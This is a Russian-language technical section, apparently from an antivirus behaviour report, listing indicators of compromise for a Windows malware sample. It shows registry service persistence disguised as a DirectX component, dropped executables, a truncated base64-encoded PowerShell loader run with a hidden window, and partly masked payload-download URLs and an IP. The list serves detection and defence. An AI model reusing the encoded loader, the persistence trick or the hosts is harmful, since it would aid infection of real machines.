Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3dx10_34] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3dx10_34] 'ImagePath' = '"%WINDIR%\SysWOW64\xvidcore\d3dx10_34.exe"'
- 'd3dx10_34' "%WINDIR%\SysWOW64\xvidcore\d3dx10_34.exe"
- 'd3dx10_34' %WINDIR%\SysWOW64\xvidcore\d3dx10_34.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATw...
- %HOMEPATH%\l4z2rv_\wnxuzhy\v48gx0a.exe
- %WINDIR%\syswow64\xvidcore\d3dx10_34.exe
- %HOMEPATH%\l4z2rv_\wnxuzhy\v48gx0a.exe в %WINDIR%\syswow64\xvidcore\d3dx10_34.exe
- '20#.#2.141.45':80
- http://bl##.#unapro.com/wp-admin/i/
- http://br####rumley.com/wp-admin/IR/
- http://20#.#2.141.45/CDuekWpJ8/983v/
- DNS ASK bl##.#unapro.com
- DNS ASK br####rumley.com
- '%HOMEPATH%\l4z2rv_\wnxuzhy\v48gx0a.exe'
- '%WINDIR%\syswow64\xvidcore\d3dx10_34.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATw...' (со скрытым окном)